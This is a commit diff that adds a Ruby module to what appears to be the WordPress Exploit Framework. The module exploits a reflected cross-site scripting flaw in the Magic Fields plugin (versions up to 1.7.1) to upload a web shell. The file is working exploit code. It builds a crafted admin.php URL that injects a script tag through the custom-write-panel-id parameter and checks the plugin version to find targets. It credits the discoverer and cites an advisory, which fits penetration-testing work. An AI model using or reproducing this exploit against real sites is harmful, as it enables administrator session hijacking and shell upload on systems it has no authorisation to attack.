Add Magic Fields <= 1.7.1 reflected XSS shell upload

Author: rastating

modules/exploits/magic_fields_reflected_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+class Wpxf::Exploit::MagicFieldsReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Magic Fields <= 1.7.1 Reflected XSS Shell Upload',
+      author: [
+        'Burak Kelebek',                  # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8756'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_magic_fields_1_wordpress_plugin.html']
+      ],
+      date: 'Mar 01 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('Magic-Fields', '1.7.2')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=MagicFieldsMenu"\
+    "&custom-write-panel-id=1%22%2F%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E"\
+    '&mf_action=finish-create-custom-field'
+  end
+end